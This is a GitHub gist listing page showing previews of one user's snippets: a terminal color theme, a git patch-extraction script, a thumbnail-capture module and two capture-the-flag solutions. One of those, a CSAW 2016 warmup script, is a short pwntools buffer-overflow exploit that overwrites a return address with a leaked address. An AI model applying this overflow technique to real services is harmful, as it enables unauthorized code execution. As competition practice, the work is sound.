Skip to content

Instantly share code, notes, and snippets.

@xinan
xinan / material-theme.itermcolors
Created Aug 1, 2015
Material Theme iTerm2 Port
View material-theme.itermcolors
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Ansi 0 Color</key>
<dict>
<key>Blue Component</key>
<real>0.25882352941176467</real>
<key>Green Component</key>
<real>0.21176470588235294</real>
@xinan
xinan / git_extract_commits.sh
Last active Oct 16, 2015
This is a simple shell script to extract commits by a specified author in a git repository and format them as numbered patches. It is useful for GSoC code submission.
View git_extract_commits.sh
if ! [[ $# -eq 1 || $# -eq 2 || $# -eq 4 ]]; then
echo "Usage: $0 <author> [<start_date> <end_date>] [output_dir]"
echo "Example: $0 xinan@me.com 2015-05-25 2015-08-21 ./patches"
exit
fi
author=$1
if [ $# -gt 3 ]; then
output_dir=$4
@xinan
xinan / thumbnail.js
Created Dec 4, 2015
The thumbnail capturing module for PencilCode.
View thumbnail.js
var html2canvas = require('html2canvas');
var THUMBNAIL_SIZE = 128;
var GOLDEN_RATIO = (1 + Math.sqrt(5)) / 2;
var THRESHOLD = GOLDEN_RATIO * 10;
var NUM_ATTEMPTS = 3;
// Public functions
var thumbnail = {
generateThumbnailDataUrl: function(iframe, callback) {
// Get the canvas inside the iframe.
View csaw-16-warmup.py
#!/usr/bin/python
from pwn import *
r = remote('pwn.chal.csaw.io', 8000)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
@xinan
xinan / beelzemon.py
Last active Oct 13, 2016
Solution to HITCON CTF 16 -- [PPC] Beelzemon
View beelzemon.py
#!/usr/bin/python
'''
xinan@nusgreyhats.org
'''
from copy import deepcopy
from pwn import *
a1 = [0, 3]
b1 = [1, 2]